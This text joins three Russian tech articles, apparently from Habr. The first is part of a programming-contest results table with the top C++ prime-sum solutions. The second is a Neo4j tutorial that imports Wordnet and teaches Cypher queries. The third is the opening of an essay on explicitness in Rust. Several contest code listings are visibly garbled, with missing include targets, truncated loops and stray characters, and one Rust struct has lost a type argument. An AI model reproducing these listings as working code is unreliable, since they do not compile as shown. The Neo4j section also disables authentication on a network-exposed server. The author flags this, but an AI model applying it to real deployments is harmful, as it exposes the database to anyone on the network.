| 60 | @luckychess | | 11.956114530563 сек. | 143 |
| 61 | @darinflar | | 11.991075217724 сек. | 105 |
| 62 | @kreep | | 12.082272768021 сек. | 170 |
| 63 | @iqmaker | | 12.346569001675 сек. | 34 |
| 64 | @dima11221122 | | 12.357870519161 сек. | 54 |
| 65 | @kos66 | | 12.412921786308 сек. | 68 |
| 66 | @alex\_r | | 12.501110970974 сек. | 31 |
| 67 | @dannk | | 12.711302280426 сек. | 138 |
| 68 | @andreybotanic | | 12.847037494183 сек. | 40 |
| 69 | @realsugar | | 14.033301234245 сек. | 10 |
| 70 | @kromych | | 14.101772785187 сек. | 25 |
| 71 | @iamnp | | 14.298875749111 сек. | 32 |
| 72 | @skripkakos | | 14.305522501469 сек. | 96 |
| 73 | @OnScript | | 14.555817246437 сек. | 142 |
| 74 | @aserty | | 15.127694249153 сек. | 175 |
| 75 | @ivanbl4 | | 15.24883300066 сек. | 148 |
| 76 | @kinbote | | 16.56739872694 сек. | 130 |
| 77 | @ryokuyou | | 16.733837723732 сек. | 106 |
| 77.5 | @MarvinPA | | 21.251857995987 сек. | 186 |
| 78 | @quarck | | 21.369844019413 сек. | 157 |
| 79 | @sultanko | | 21.440900743008 сек. | 172 |
| 80 | @Yura1111 | | 22.057671248913 сек. | 30 |
| 81 | @Troyal | | 22.184078454971 сек. | 99 |
| 82 | @Izobara | | 23.361551761627 сек. | 16 |
| 83 | @PutPixel | | 35.820213794708 сек. | 180 |
| 84 | @CheshaNeko | | 53.085104465485 сек. | 120 |
| 85 | @fromnull | | 53.490429997444 сек. | 65 |
| 86 | @ronsenval | | Неверный ответ на сложных тестах | 14 |
| 87 | @undiabler | | Неверный ответ на сложных тестах | 26 |
| 88 | @MrDindows | | Неверный ответ на сложных тестах | 52 |
| 89 | @kladov | | Неверный ответ на сложных тестах | 66 |
| 90 | @Andrew146 | | Неверный ответ на сложных тестах | 127 |
| 91 | @vaux | | Превышено допустимое время на сложных тестах | 22 |
| 92 | @marsencpp | | Превышено допустимое время на сложных тестах | 27 |
| 93 | @phrk | | Превышено допустимое время на сложных тестах | 43 |
| 94 | @burtsev | | Превышено допустимое время на сложных тестах | 55 |
| 95 | @yooll | | Превышено допустимое время на сложных тестах | 58 |
| 96 | @DarkContact | | Превышено допустимое время на сложных тестах | 70 |
| 97 | @drongosar | | Превышено допустимое время на сложных тестах | 87 |
| 98 | @alexvab | | Превышено допустимое время на сложных тестах | 90 |
| 99 | @MrKonshyn | | Превышено допустимое время на сложных тестах | 91 |
| 100 | @appplemac | | Превышено допустимое время на сложных тестах | 112 |
| 101 | @msn92 | | Превышено допустимое время на сложных тестах | 136 |
| 102 | @ikalnitsky | | Превышено допустимое время на сложных тестах | 152 |
| 103 | @0Chekhov0 | | Неверный ответ на простых тестах | 1 |
| 104 | @savik1 | | Неверный ответ на простых тестах | 2 |
| 105 | @zenden2k | | Неверный ответ на простых тестах | 12 |
| 106 | @alexaol | | Неверный ответ на простых тестах | 17 |
| 107 | @Avitella | | Неверный ответ на простых тестах | 18 |
| 108 | @yrik04 | | Неверный ответ на простых тестах | 24 |
| 109 | @topz | | Неверный ответ на простых тестах | 35 |
| 110 | @drozdVadym | | Неверный ответ на простых тестах | 37 |
| 111 | @anton280 | | Неверный ответ на простых тестах | 39 |
| 112 | @ehead01 | | Неверный ответ на простых тестах | 49 |
| 113 | @8086 | | Неверный ответ на простых тестах | 50 |
| 114 | @DIMKAAAAA | | Неверный ответ на простых тестах | 57 |
| 115 | @mike\_4d | | Неверный ответ на простых тестах | 60 |
| 116 | @alineman | | Неверный ответ на простых тестах | 74 |
| 117 | @pavor84 | | Неверный ответ на простых тестах | 75 |
| 118 | @denzp | | Неверный ответ на простых тестах | 79 |
| 119 | @RamTararam | | Неверный ответ на простых тестах | 81 |
| 120 | @DezzK | | Неверный ответ на простых тестах | 82 |
| 121 | @frozendog | | Неверный ответ на простых тестах | 83 |
| 122 | @sasha237 | | Неверный ответ на простых тестах | 98 |
| 123 | @aX1v | | Неверный ответ на простых тестах | 103 |
| 124 | @rutigl | | Неверный ответ на простых тестах | 104 |
| 125 | @Joric | | Неверный ответ на простых тестах | 107 |
| 126 | @LibertyPaul | | Неверный ответ на простых тестах | 110 |
| 127 | @volokitinss | | Неверный ответ на простых тестах | 111 |
| 128 | @Formicidae | | Неверный ответ на простых тестах | 115 |
| 129 | @fao | | Неверный ответ на простых тестах | 117 |
| 130 | @vkm | | Неверный ответ на простых тестах | 124 |
| 131 | @kleninz | | Неверный ответ на простых тестах | 131 |
| 132 | @knstqq | | Неверный ответ на простых тестах | 135 |
| 133 | @ryokuyou | | Неверный ответ на простых тестах | 139 |
| 134 | @morphing | | Неверный ответ на простых тестах | 140 |
| 135 | @Vaddddd | | Неверный ответ на простых тестах | 144 |
| 136 | @ancalled | | Неверный ответ на простых тестах | 150 |
| 137 | @fasterthanlight | | Неверный ответ на простых тестах | 154 |
| 138 | @sinc | | Неверный ответ на простых тестах | 155 |
| 139 | @Satayev | | Неверный ответ на простых тестах | 159 |
| 140 | @eversyt | | Неверный ответ на простых тестах | 162 |
| 141 | @zyss | | Неверный ответ на простых тестах | 163 |
| 142 | @smile616 | | Неверный ответ на простых тестах | 166 |
| 143 | @Moress | | Неверный ответ на простых тестах | 169 |
| 144 | @zzzeeerrr0 | | Неверный ответ на простых тестах | 176 |
| 145 | @kilotaras | | Неверный ответ на простых тестах | 182 |
| 146 | @I\_AM\_FAKE | | Превышено допустимое время на простых тестах | 7 |
| 147 | @Aksiom | | Превышено допустимое время на простых тестах | 28 |
| 148 | @WarAngel\_alk | | Превышено допустимое время на простых тестах | 63 |
| 149 | @skovpen | | Превышено допустимое время на простых тестах | 132 |
| 150 | @safinaskar | | Превышено допустимое время на простых тестах | 160 |
| 151 | @No username specified | | Превышено допустимое время на простых тестах | 168 |
| 152 | @jit\_md | | Превышено допустимое время на простых тестах | 181 |
| 153 | @mrigi | | Попытка работать с отсутствующей сетью | 146 |
| 154 | @Tweekaz | | Ошибка компиляции | 3 |
| 155 | @No username specified | | Ошибка компиляции | 4 |
| 156 | @Thunderbird | | Ошибка компиляции | 9 |
| 157 | @shock\_one | | Ошибка компиляции | 13 |
| 158 | @shy | | Ошибка компиляции | 23 |
| 159 | @Dgut | | Ошибка компиляции | 38 |
| 160 | @ShouldNotSeeMe | | Ошибка компиляции | 56 |
| 161 | @therussianphysicist | | Ошибка компиляции | 62 |
| 162 | @aamuvirkku | | Ошибка компиляции | 84 |
| 163 | @IntegralUnderground | | Ошибка компиляции | 85 |
| 164 | @0leksandr | | Ошибка компиляции | 88 |
| 165 | @ipoder | | Ошибка компиляции | 94 |
| 166 | @IharBury | | Ошибка компиляции | 97 |
| 167 | @xtern | | Ошибка компиляции | 100 |
| 168 | @KycokCo6aku | | Ошибка компиляции | 101 |
| 169 | @gridem | | Ошибка компиляции | 118 |
| 170 | @minc2319 | | Ошибка компиляции | 141 |
| 171 | @okneigres | | Ошибка компиляции | 151 |
| 172 | @antidotcb | | Ошибка компиляции | 164 |
| 173 | @merkius | | Превышен допустимый размер файла | 71 |
| 174 | @iTwin | | Превышен допустимый размер файла | 29 |
| 175 | @bstructure | | Превышен допустимый размер файла | 153 |
| 176 | @fsv | | Превышен допустимый размер файла | 51 |
| 177 | @411 | | Превышен допустимый размер файла | 72 |
| 178 | @pleha | | Превышен допустимый размер файла | 67 |
| 179 | @staricam | | Превышен допустимый размер файла | 73 |
| 180 | @chipa | | Превышен допустимый размер файла | 119 |
| 181 | @dosefose | | Превышен допустимый размер файла | 121 |
| 182 | @SergeySib | | Превышен допустимый размер файла | 161 |
| 183 | @Ptax | | Превышен допустимый размер файла | 137 |
Вне конкурса
============
Решения присланные после дедлайна:
| № | Habraname | Нужен ли инвайт | Результат | System ID |
| --- | --- | --- | --- | --- |
| 1 | @bstructure | | 1.5542407631874 сек. | 192 |
| 2 | @corsairnv | | 12.768928468227 сек. | 194 |
| 3 | @theirbaldness | | 15.648555219173 сек. | 191 |
| 4 | @pavor84 | | Неверный ответ на простых тестах | 189 |
| 5 | @Jamim | | Неверный ответ на простых тестах | 193 |
| 6 | @1dash | | Ошибка компиляции | 188 |
Об ошибках
==========
**Писали для MS VC**: \_\_int64 вместо long long или \_\_int64\_t, не подключен math.h, использование отсутствующего stdafx.h.
**Писали для Windows**: Math.h<>math.h
**Bleeding-edge C++11 фичи**: К сожалению, корректный код не всегда компилируется. У clang есть проблемы с C++11 многопоточностью (компилятор не может скомпилировать стандартную библиотеку, баг известен — я пробовал накатить патч — но не помогло). Если это не протестировать до отправки на целевом компиляторе — то проблему никак не обнаружить.
**Синтаксические ошибки**: Банальная внимательность — подозреваю отправку не сохраненного файла.
**Непортируемый на 64-bit код**: Попытки неявно привести указатель к int, и обратно.
**memset**: undeclared identifier 'memset'; did you mean 'wmemset'? Находилось онлайн-тестом на сайте llvm. Самая популярная ошибка.
**C#**: Один случай.
**Неверный формат комментария с именем пользователя**: Решения все равно протестированы, чтобы мучились теперь где-чьё :-).
**Segmentation fault**: Половина неверных ответов на коротких тестах — это segfault-ы и краши.
Увидеть свои результаты компиляции [можно тут](http://3.14.by/files/compilation_results.zip) (смотреть по System ID).
Полный [архив исходных текстов решений](http://3.14.by/files/solutions.zip).
Решения
=======
Изначально я хотел рассказать и об алгоритмах решения — но сейчас я вижу, что понятия не имею, как работают первые 2 места, потому лучше нам подождать авторов :-) Тем не менее, стоит заметить, что использование потоков не является необходимым условием для победы.
**Shadeware, победитель**@shadeware У вас ничего не глючит, это компилируется.
```
//@shadeware
#include
#include
#include
unsigned i,n,Q,j,L;long long u[66],A;int main(){for(;i<448;i++)u[i/7+2]=u[i/7+2]\*96+"+.Uy[e^4MAqc>,3Vq8a}n3-teC`p2r/)Fl[2Z)|>Ke2O~7FZ%$1+[%c\"<0dAd/tP1->\"0M!1;JwZ6!1\*%j\_y00V6$w!u10I dHR1PXF]r20!?Xhxw1?nbdEr0e-/ZE\_0s:6:z.0[}+qG51f0\'\"aEs60OP;ZHs0zsjvXg0:~BPSu/aWY+&F1\_aM,>24<<24;A=u[(n>>24)+1]+2\*!L\*!!~-n;std::vectorS(Q/2+1),B(n-L+2);B[1]=!L;for(i=3;i<=Q;i+=2)if(!S[i/2]){for(j=3\*i;j<=Q;j+=2\*i)S[j/2]=1;for(j=L?(L+i-1)/i\*i:2\*i;j<=n;j+=i)B[j-L]=1;}for(i=1;i+L<=n;i+=2)B[i]?0:A+=i+L;printf("%llu\n",A);}
```
**Mikhaelkh, 2-е место**@mikhaelkh Компилятор ругался на текстовую строку — но все скомпилировалось.
```
//@mikhaelkh
#include
#include
unsigned char s[]=" 3ћfСЫБ b”Ђ)Cр —іЈ€Я $9шэD » $ѕ|Іш† %ЃЉЃмF &\_яВГЕЕ 'Y¶FьВµ (nsџИp± )ќлznQ2 \*иSР—ж) ,oшtе\\v -пW0BC† /«Ю#)ґ 1‚ьј”8P 3sю[Y6i 5.qЛ.“ 7¤zMЃшj 9г—‹XyЇ <\_‰XжЅ >ТOh«€Y AЃМ“«n DKr]µrЩ G.?“нU J\*Ј»‚Џ M@Eп†Ь PpYґпHј S№pvdјя W>дGpІш ZєQЦаЋ~ ^qяmty= bC†,щnт f.d“¤ ¤ j1Ж [|Ј nN№BўЮ: r…ЄGрр vФiчwЁ{ {\_Лз}Lh б\*sЁЭ# „ћoї‹УE ‰to]¶е~ Ћd\*4:иХ “kѕK8ћш Њ~ќQЄ ќЕЛ7д6« Ј;Ёл0ўь Ё§Iвc§б ObЗюЏP імЏxь>† №Е›»ЯPo ї·NцбЬ† ЕБ1ґgп& ЛгlъІcѓ ТAdЎ“[$ Ш–Й:ілЧ Я%юі±Ю1 е«\_7бќЌ мlчnєСџ уF”ЭDРЭ ъ8ћуcћЖ $$CМжМMЕ $+gDbцPр $2ЎЧтУ‡E $9цАП†Ы ";
enum{S=1<<14,N=1<<23};
long long a[65],res;
std::bitset ~~u;
std::bitset v;
int n,r,x,i,j;
int main() {
scanf("%d",&n);
for (i=1;i<65;++i)
for (++j;s[j]>32;++j)
a[i]=221\*a[i]+s[j]-35;
\*a=2,res=a[j=n/2/N],x=j\*2\*N,v[0]=!j;
for (i=3;i1?res:0);
}~~
```
**Icemore, 3-е место, самое быстрое многопоточное решение**@Icemore
```
//@Icemore
#include
#include
#include
#include
#define lng long long
const int T=4,Q=33000,S=100000;
bool np[Q],b[T][S];
int p[Q],c,B,s,e;
lng A[T],R,P[]={0,1906816620981654LL,7357074544482779LL,16217881619242062LL,28422918403819825LL};
void\* f(void\*\_){
long id=(long)\_;
int C=(e/S-B+1)/T,q,M,i,j,k;
M=(id==T-1)?(e/S+1):(id+1)\*C+B;
for(k=id\*C+B;k1?j:2)\*p[i]-q;
for(;j>n;
i=(n-1)/(1<<28);s=i\*(1<<28)+2;e=(i+1)\*(1<<28);
if(n-s-10?R:-R);
}
```
**ripatti, 4-е место**@ripatti
```
//@ripatti
//идея - блочное решето с предпросчетом ответов для нескольких первых блоков
#include
#include
#define S 150000
bool F[40000],B[S];
int P[10000],p=0;
long long pre[]={0,79835127420606,307011790722811,675490692294675,
1182357709860117,1825666731904492,2603717273255596,3515373254256955,
4559774703609068,5736228298250417,7043215380181465,8481171232603598,
10049045128993920,11745741297705187,13571569117886223,15525668198679060,
17608378509778587,19817357312226874,22154562782502270,24618987306923167,
27209541722648039};
int main(){
int a,b,c,n,Z=(1<<15),Q=S\*350;
std::cin >> n;
long long ans=pre[n/Q];
for(a=2;a\*a
```
**kbxxi, 5-е место**@kbxxi
```
//@kbxxi
#include
long long A[]={0,72619548630277,279209790387276,614333144695291,1075207199997334,1660170771905893,2367646772295462,
3196703482711201,4146437503168147,5215984059716389,6404774487532576,7711724083073573,9137303389808024,
10680189372387880,12340337443955708,14116726304047228,16010026481858292,18019518580817005,20143329357815162,
22383876593236984,24739512092254535,27209541722648039};
char S[50000100];
int p[50100],C,i,j,B=50000000,l,r;
long long R=0;
int main(){
std::cin >> r;
for (i=2;i<=100000;i++)
if (!S[i]){
p[C++]=i;
for (j=2\*i;j<=100000;j+=i)
S[j]=1;
} else S[i]=0;
l=r/B\*B+1;
for (i=1;p[i]\*p[i]<=r;i++){
int v=p[i],P=l/v\*v;
if (P1) R+=2;
std::cout<
```
**Singstio, самое короткое решение проходящее все тесты**@singstio 304 байта, никакого «сжатия»
```
//@singstio
#include
#include
#include
using namespace std;
int main()
{
\_\_int64\_t n,sum=0,i,j,sn;
cin>>n;
sn=int(sqrt(n))+1;
vector s(n+1,true);
for(i=2;i<=sn;i++)
if(s[i]){
for(j=i\*i;j<=n;j+=i)s[j]=false;}
for(i=2;i<=n;i++)if(s[i])sum+=i;
cout<
```
Мораль
======
* Сначала правильный алгоритм, потом многопоточность.
* Перенос C++ программ на другую ОС, разрядность, компилятор — сложный и тернистый путь, тестировать на целевой платформе нужно обязательно. Вдвойне это касается bleeding-edge фич.
О моих ошибках
==============
Вам кажется что у вас все работает, а в таблице — что-то неправильное?
Рекомендую взять отправленное вами решение \_из архива с решениями\_, и скомпилировать на clang 3.2 64bit — и если заработает — тогда писать мне. Уже человек 10 написали, что у них все работает, а проблема всегда была или в другом компиляторе или во внимательности. | https://habr.com/ru/post/164567/ | null | ru | null |
# Изучаем граф-ориентированную СУБД Neo4j на примере лексической базы Wordnet
 СУБД Neo4j — это NoSQL база данных, ориентированная на хранение графов. Изюминкой продукта является декларативный язык запросов Cypher.
Cypher позаимствовал ключевые слова типа WHERE, ORDER BY из SQL; синтаксис из таких разных языков как Python, Haskell, SPARQL; и в результате появился язык, позволяющий делать запросы к графам в визуальной форме наподобие [ASCII art](https://en.wikipedia.org/wiki/ASCII_art). Например, заголовок данной статьи я бы представил в виде графа **(Neo4j) — [изучаем] -> (Wordnet)**. И это почти готовый запрос к базе данных!
**Источник картинки**[www-rohan.sdsu.edu/~gawron/compling/course\_core/assignments/lex\_sem\_assignment.htm](http://www-rohan.sdsu.edu/~gawron/compling/course_core/assignments/lex_sem_assignment.htm)
Для изучения граф-ориентированной базы данных нужен какой-нибудь граф. Это может быть социальная сеть, дамп википедии или схема железных дорог. Мы пойдём простым путём и воспользуемся огромным общедоступным графом лексической базы [Wordnet](http://wordnet.princeton.edu/). Лингвисты из Принстона проделали гигантскую работу по систематизации словарного запаса английского языка, а энтузиасты перевели базу данных на многие языки, включая русский. Например, в этой базе свыше 80 тысяч существительных, связанных между собой лексическими отношениями, такими как «синоним», «часть большего», «материал для» и т. п. Эта база является естественным графом, и мы её импортируем в Neo4j.
Установка Neo4j
---------------
Процесс установки для разных ОС описан на [сайте](http://neo4j.com/docs/stable/server-installation.html). Всё описываемое здесь ПО платформенно-независимое, но для определенности все инструкции будут для Debian/Ubuntu.
### 1. Добавить репозиторий
```
wget -O - https://debian.neo4j.org/neotechnology.gpg.key | sudo apt-key add -
echo 'deb http://debian.neo4j.org/repo stable/' >/tmp/neo4j.list
sudo mv /tmp/neo4j.list /etc/apt/sources.list.d
sudo apt-get update
```
### 2. Установить Neo4j (community edition)
```
sudo apt-get install neo4j
```
Эта команда установит ПО в вашу домашнюю директорию и запустит сервис, который будет работать от имени пользователя neo4j.
### 3. Разрешить удалённый доступ
Если вы установили Neo4j на свой компьютер, этот шаг пропустите. Если же требуется доступ к серверу с других компьютеров в локальной сети, отредактируйте файл /var/lib/neo4j/conf/neo4j-server.properties
Для доступа с любого компьютера локальной сети установите параметры:
```
org.neo4j.server.webserver.address=0.0.0.0
dbms.security.auth_enabled=false
```
По умолчанию используется порт 7474, изменить порт можно, добавив строку в тот же файл:
```
org.neo4j.server.webserver.port=7474
```
Обратите внимание, что мы не настроили безопасность СУБД! Более подробно читайте [инструкцию](http://neo4j.com/docs/stable/server-configuration.html).
Проверить установку можно, набрав в браузере адрес и порт сервера. Neo4j реализует роскошную графическую консоль через браузер. Через этот же порт идут REST-запросы к базе от клиентского программного обеспечения, которое мы установим на следующем шаге.
Установка клиента (Python)
--------------------------
Для того, чтобы импортировать базу Wordnet в Neo4j, воспользуемся скриптом на Питоне.
### 1. Сначала нужно установить библиотеку [py2neo](http://py2neo.org/2.0/)
```
pip install py2neo
```
### 2. Скачайте с гитхаба мой [скрипт](https://github.com/sergey-zarealye-com/wordnet2neo4j)
```
mkdir habrawordnet2neo4j
cd habrawordnet2neo4j
git clone https://github.com/sergey-zarealye-com/wordnet2neo4j.git
```
Скрипт вряд-ли претендует на промышленное качество кода, но если вы захотите поэкспериментировать с Neo4j из Питона, то просмотрите код, это поможет вам быстрее начать программировать.
Получение лексической базы данных Wordnet
-----------------------------------------
На странице [Download](http://wordnet.princeton.edu/wordnet/download/) проекта Wordnet предлагается скачать базу вместе с программным обеспечением для её просмотра. Но мы-то хотим использовать для просмотра Neo4j! Поэтому достаточно скачать только файлы с данными:
* Самая свежая версия англоязычной базы Wordnet доступна по [ссылке](http://wordnetcode.princeton.edu/wn3.1.dict.tar.gz)
* Предыдущие [версии](http://wordnet.princeton.edu/wordnet/download/old-versions/) (например для совместимости с ImageNet)
* Я предлагаю скачать [русскую версию](http://wordnet.ru/ruswordnet.zip) с сайта [wordnet.ru](http://wordnet.ru/)
Разархивируйте файлы в доступное место.
Импорт данных в Neo4j
---------------------
Лексические данные в Wordnet лежат в файлах по частям речи. Например, существительные находятся в файле data.noun; глаголы — в data.verb; а с другими частями речи я и не пробовал.
### 1. Импорт существительных
Для импорта существительных перейдите в директорию, куда поместили мои скрипты (мы ее назвали просто habrawordnet2neo4j) и выполните команду в консоли:
```
python wordnet2neo4j.py -i rwn3/data.noun --neo4j http://127.0.0.1:7474 --nodelabel Ruswordnet --reltype Pointer --encoding cp1251 --limit 1000
```
Давайте разберём параметры поподробнее.
```
-i путь к файлу данных Wordnet
--neo4j URL сервера базы данных Neo4j
--nodelabel Метка узлов, соответствующих словам Wordnet
в создаваемом графе (в Neo4j узлы графа снабжают
текстовыми метками; это просто идентификатор)
--reltype Тип ребер графа, соответствующих указателям Wordnet
(в Neo4j ребра графа могут иметь тип; это просто
идентификатор)
--encoding Кодировка файла данных; русскоязычная база записана
в кодировке cp1251; для англоязычных файлов этот
параметр не нужно указывать
--limit Максимальное количество обрабатываемых строк файла;
дело в том, что мой скрипт работает довольно медленно,
и чтобы попробовать можно ограничить объем импортируемых
данных, например первыми 1000 строками файла; для импорта
полного файла этот параметр не нужно указывать,
и приготовьтесь подождать час-полтора.
```
### 2. Импорт глаголов
Для импорта глаголов выполните команду в консоли:
```
python wordnet2neo4j.py -i rwn3/data.verb --neo4j http://127.0.0.1:7474 --nodelabel Ruswordnet --reltype Pointer --encoding cp1251 --limit 1000
```
Импортировать глаголы необязательно, хотя некоторые из них связаны с существительными, и это интересно поизучать.
### 3. Убедитесь, что данные импортированы
Для этого откройте в браузере консоль Neo4j (введите адрес и порт сервера СУБД) и введите следующий запрос:
```
MATCH (node)-[relation]-() RETURN node, relation LIMIT 100
```
Если получили в экране изображение графа, то все прошло успешно.
Выполняем простые запросы
-------------------------
Все дальнейшие действия будем выполнять в браузере, в консоли Neo4j. Я буду считать, что в качестве меток узлов вы использовали Ruswordnet, а в качестве типа рёбер Pointer (как указано в предыдущем разделе). И что вы импортировали именно русскую базу Wordnet ***целиком***.
### 1. Hello World
Как указано на сайте русской базы [Wordnet](http://wordnet.ru/), переведены около половины смысловых единиц, содержащих самые общеупотребимые слова. Поэтому попробуем найти в базе первое, что пришло в голову:
```
MATCH (n:Ruswordnet {name: "выкапывание_трупа"}) RETURN n
```
Выполните запрос, убедитесь, что это понятие найдено, значит, по мнению российских лингвистов, оно входит в число самых общеупотребимых. Давайте разберём этот простой запрос.
Ключевое слово **MATCH** означает примерно то же самое, что SELECT в SQL. Грубо говоря, «найти подходящие к шаблону элементы графа».
Круглыми скобками обозначаются узлы графа. Шаблон **(n:Ruswordnet)** обозначал бы, что мы хотим найти все узлы с меткой «Ruswordnet». Здесь **n** — идентификатор, можно сказать «переменная».
Узлы графа (и рёбра тоже) можно снабжать произвольными атрибутами. Чтобы найти конкретный узел, мы задали в запросе условие на атрибуты в формате, похожем на JSON: **{name: «выкапывание\_трупа»}**. Таким образом, фраза
```
MATCH (n:Ruswordnet {name: "выкапывание_трупа"})
```
означает, что из всего графа будут выбраны все узлы с меткой Ruswordnet и атрибутом name равным указанному там понятию.
Ключевое слово **RETURN** говорит нам, какие переменные нас интересуют. В данном случае мы хотели просто увидеть узел (узлы), соответствующие заданным условиям, поэтому пишем **RETURN n**. Важно понимать, что **n** — это коллекция узлов, удовлетворяющих запросу. Чтобы убедиться в этом, просто замените понятие в запросе:
```
MATCH (n:Ruswordnet {name: "лев"}) RETURN n
```
Если вы импортировали базу Wordnet целиком, вы увидите шесть узлов понятий «лев». Давайте разберёмся, почему.
### 2. Переменные = коллекции
Выполним такой запрос:
```
match (n:Ruswordnet {name: "лев"})--(m) return n,m
```
Здесь мы задали уже более сложный шаблон для поиска. Мы хотим найти все узлы **(n)**, соответствующие понятию «лев», а также все узлы **(m)**, связанные с львами. Связь, т. е. ребро графа обозначается двумя дефисами. Можно в явном виде указывать интересующее нас направление символом --> (это я и называл ASCII art).
Если у вас не отображаются имена смысловых единиц, нажмите на кнопку Ruswordnet(23) в левом верхнем углу графа, и в строке состояния внизу консоли выберите «name» в поле Caption. Так будет нагляднее.
Теперь мы поняли, что лев это, оказывается не только болгарская валюта (bulgarian\_money), копейкой для которой является стотинка, но и большая кошка, и созвездие, астрологический знак, и что-то, связанное с гордостью.
### 3. Подключаем рёбра
В базе Wordnet ребра называются указателями (Pointer), и используется большое количество лингвистических типов указателей. Они обозначаются символами, некоторые из которых я привожу в таблице:
| Символ | Английское наименование лингвистического отношения | Лингвистическое отношение |
| --- | --- | --- |
| ! | Antonym | Антоним |
| @ | Hypernym | Обобщение |
| @i | Instance Hypernym | Экземпляр обобщения |
| ~ | Hyponym | Уточнение |
| ~i | Instance Hyponym | Экземпляр уточнения |
| #m | Member holonym | Понятие, включающее в себя данное понятие |
| #s | Substance holonym | Вещество, из которого состоит предмет |
| #p | Part holonym | Предмет, включающий в себя как часть данный предмет |
| %m | Member meronym | Часть более общего понятия |
| %s | Substance meronym | Из какого вещества состоит предмет |
| %p | Part meronym | Часть предмета |
| = | Attribute | Атрибут |
| + | Derivationally related form | Производная форма |
В процессе импорта мы присвоили рёбрам графа атрибут pointer\_symbol, и теперь можем делать запросы с учётом атрибутов рёбер. Давайте разберемся, что такое обобщение (hypernum):
```
MATCH (n:Ruswordnet {name: "лев"})-[p:Pointer {pointer_symbol: "@"}]->(m)
RETURN n,m
```
Квадратными скобками обозначаются спецификации рёбер. В этом запросе мы хотим найти рёбра типа Pointer, атрибут которых pointer\_symbol равен «@» т. е. символу обобщения. Кстати, противоположный обобщению символ уточнения «~».
Теперь понятно, что обобщение для льва это кот, а также человек. Конечно, речь идет о разных смысловых единицах: лев (кот) это один узел графа, а лев (человек) — другой узел, соответствующий знаку зодиака. Лев (известность) — это результат плохого перевода на русский; имеется в виду лев (celebrity), т. е. знаменитость, светский лев.
Давайте разберемся, что такое part holonym:
```
MATCH (n:Ruswordnet {name: "лев"})-[p:Pointer {pointer_symbol: "#p"}]->(m)
RETURN n,m
```
А, теперь понятно: лев входит в зодиак в качестве составной части, значит зодиак является part holonym для льва.
Из таблицы видно, что Wordnet содержит много интересных отношений, например, из каких веществ что сделано. К сожалению, нет информации, что лев сделан из мяса, поэтому поставим вопрос по другому: найти такие узлы графа, которые связаны отношением «из какого вещества сделано».
```
MATCH (n)-[p:Pointer {pointer_symbol: "#s"}]->(m)
RETURN n,m LIMIT 10
```
В этом запросе мы не накладываем никаких условий на узлы **(n)** и **(m)**. Мы только хотим, чтобы их связывали рёбра с атрибутом «#s». Обратите внимание, появилось ключевое слово **LIMIT**, знакомое нам из SQL. Если бы его здесь не было, сервер вернул бы нам очень много результатов, и плохо было бы нашему браузеру.
В результате запроса мы узнали, что сигареты состоят из марихуаны, а суп из воловьих хвостов — из воловьих хвостов.
### 4. Цепочки произвольной длины
В детстве все играли в такую игру: превратить муху в слона. Для этого нужно было менять по одной букве в слове, пока слово МУХА не превратилось в слово СЛОН. Давайте узнаем в лексическом графе, связаны ли между собой ЛЕВ и ОВЦА.
```
MATCH (n:Ruswordnet {name: "лев"})-[p:Pointer*1..3]-(m:Ruswordnet {name: "овца"})
RETURN n,m,p
```
Конструкция **[p:Pointer\*1..3]** говорит, что требуется найти цепочку рёбер типа Pointer длиной от одного до трех, связывающую узел «лев» с узлом «овца».
Это отличается от классической детской игры, но тоже интересно: ОВЦА — ПРОСТАК — ЧЕЛОВЕК — ЛЕВ… это звучит гордо. Кстати, можно попытаться найти связь и между мухой и слоном, только немного увеличить предельную длину цепочки. Я использовал значение 6. Кстати, не пытайтесь сразу поставить 100 — процесс поиска скорее всего сорвется т. к. число вариантов для перебора путей в графе будет слишком велико. Итак, вот как связаны слон и муха лексически:
Думаю, на этом этапе вы многое поняли о базе данных Neo4j, и способны самостоятельно открыть много интересного в базе данных Wordnet, а может применить Neo4j в своих проектах. Мы применяем связку Neo4j c Wordnet в системе поиска по киноархивам. Если вы хотите заниматься исследованиями в области машинного обучения, приглашаю на стажировку или на постоянную работу в НИКФИ — научно-исследовательский кинофотоинститут. | https://habr.com/ru/post/273241/ | null | ru | null |
# Неявность
Часто, когда я обсуждаю дизайн Rust на [RFCs](https://github.com/rust-lang/rfcs) или на [internals](https://internals.rust-lang.org/)-форуме с другими пользователями, я замечаю характерные высказывания насчет явности. Обычно что-то в духе:
> Мне не нравится `<дизайн возможности X>`, потому что он менее явный. Всякая магия уместна в `<другом языке Y>`, а Rust — это явный язык, так что следует использовать `<дизайн возможности Z>`.
Подобные комментарии жутко меня раздражают, потому что дают очень мало полезной обратной связи. Они лишь утверждают, что "явное лучше неявного" (при этом предполагается, что это бесспорное утверждение), и что какой-то дизайн менее явный, чем альтернатива (хотя часто даже не приводится объяснений, почему именно критикуемый дизайн менее явный), из чего следует, что их подход предпочтительнее.
В своей опубликованной ранее в этом году заметке Аарон пытался докопаться до сути вопроса явности, обсуждая [размер контекста (reasoning footprint)](https://blog.rust-lang.org/2017/03/02/lang-ergonomics.html). Он попытался разбить понятия "явность" и "неявность" на составные части, чтобы подготовить почву для суждения о явности дизайна той или иной возможности. Я же хочу изложить немного другой взгляд на проблему и попытаюсь очертить в общих словах, что мы подразумеваем под словом "явный".
Английский — довольно нечеткий язык, в котором прилагательные имеют множества контекстно-зависимых значений, например, как используется слово "нечеткий" (fuzzy) в предыдущем предложении. Слово "явный" тоже многозначно, так что я не могу утверждать наверняка, что кто-то неправильно использует это слово. Однако я предлагаю выражать свои мысли при обсуждении "явности" более четко, чтобы все лучше понимали, о чем именно идет речь.
Что я подразумеваю под словами: "Rust — явный язык"
---------------------------------------------------
Часто, будучи озадачен словами "явное лучше неявного", я хочу просто занять противоположную сторону в этом вопросе, утверждая, что явность плоха, а неявность, наоборот, хороша. Хотя я считаю, что Rust довольно явен, но, когда я использую слово "явный", я подразумеваю нечто более конкретное, чем обычно понимается под этим словом. Моё мнение: **Rust явен, потому что вы можете многое понять о вашей программе, просто читая ее исходный код**.
Например, вот несколько определений структур на Rust:
```
struct Doggo {
coat_color: Color,
stamina: u32,
love: u32,
// NOTE: всегда true
is_a_good_dog: bool,
}
struct Color(u8, u8, u8);
struct TennisBall;
struct Park {
dogs: Vec,
}
struct Fetch<'a> {
park: &'a Park,
doggo: &'a Doggo,
ball: TennisBall,
}
```
Я могу довольно много сказать о том, как эти структуры будут расположены в памяти, просто глядя на их определения:
* Я знаю поля всех структур (в отличие от многих динамических языков).
* Я знаю допустимые значения каждого поля (т.е. я знаю их типы).
* Я знаю, что все данные (кроме вектора `Doggos` в `Park`) будут расположены на стеке.
